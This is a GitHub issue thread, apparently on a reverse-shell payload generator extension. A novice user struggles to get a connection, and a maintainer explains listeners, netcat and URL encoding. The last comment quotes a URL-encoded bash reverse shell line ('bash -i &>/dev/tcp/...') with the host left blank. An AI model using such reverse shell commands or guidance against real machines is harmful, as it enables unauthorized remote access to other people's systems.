-
Notifications
You must be signed in to change notification settings - Fork 646
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
I need help #100
Comments
Hi @powersem2007 , you can't just paste the url encoded bash reverse shell command into your terminal. You can just use the default reverse shell code. In an instance where you want to embed the payload into a network request or something of that sort then you need to url encode (hence you'll use the url encoded one). For such instance, you'll decode the url encoded payload before it is used. |
and what do i put in the ip and port what do i need bc i cant get an connection |
you need to put in the IP and Port of your listening device or machine. The extension is just to help you generate the bash payload once those parameters are inserted. The bash payload enables you to get reverse bash access of a remote machine on your local machine. Most at times, you'll use a tool like netcat to create a listening port and then after delivering the payload to a remote host, you can get a shell access. You can read more here https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/. Please note that the extension doesn't provide you with those details, it's a faster way to generate your payloads once you input your details. |
how can i create or ge an ip and port listener bc it doesnt want to connect |
That's outside the issue you opened. You can search online for useful resources on how to do that. E.g. https://www.geeksforgeeks.org/how-to-create-reverse-shells-with-netcat-in-kali-linux/ Please you can close the issue if you're okay. Thank you. |
i have copied the bash url encoded and put it in my kali linux therminal but it says "zsh: no such file or directory: bash%20-c%20exec%20bash%20-i%20&%3E/dev/tcp//%20%3C&1
"
The text was updated successfully, but these errors were encountered: